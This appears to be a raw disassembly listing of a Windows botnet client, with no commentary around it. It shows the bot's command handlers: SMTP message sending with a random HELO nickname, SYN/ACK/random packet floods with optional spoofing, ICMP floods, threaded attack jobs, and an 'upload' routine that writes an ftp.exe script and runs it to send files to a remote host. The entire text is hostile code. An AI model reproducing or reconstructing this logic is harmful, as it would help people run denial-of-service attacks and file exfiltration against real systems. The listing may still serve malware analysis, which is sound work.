		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAF14
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB028
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB024
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAFA4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFF4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		push	esi
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9FC

loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886

loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch

loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]

loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8

loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------

loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A9B4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"

loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A970
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_406EEE

loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------

loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A938
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A900

loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB094, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A8B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407015

loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------

loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A880
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A82C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B

loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------

loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7F4

loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A7C0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8

loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A78C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------

loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------

loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx

loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A744
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40725D

loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_40724B
; ---------------------------------------------------------------------------

loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset unk_42A70C

loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]

loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A6CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A6A4
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 2680CD4h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A634
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------

loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A604

loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx

loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax

loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431438, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431438

loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------

loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431438[ecx]
		mov	[ebp+var_370], ecx

loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A59C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620

loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE

loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------

loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx

loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683

loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi

loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------

loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------

loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl

loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"

loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A534
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40774E

loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_407738
; ---------------------------------------------------------------------------

loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A4FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A4AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407854

loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_40783E
; ---------------------------------------------------------------------------

loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A470
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------

loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEF8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
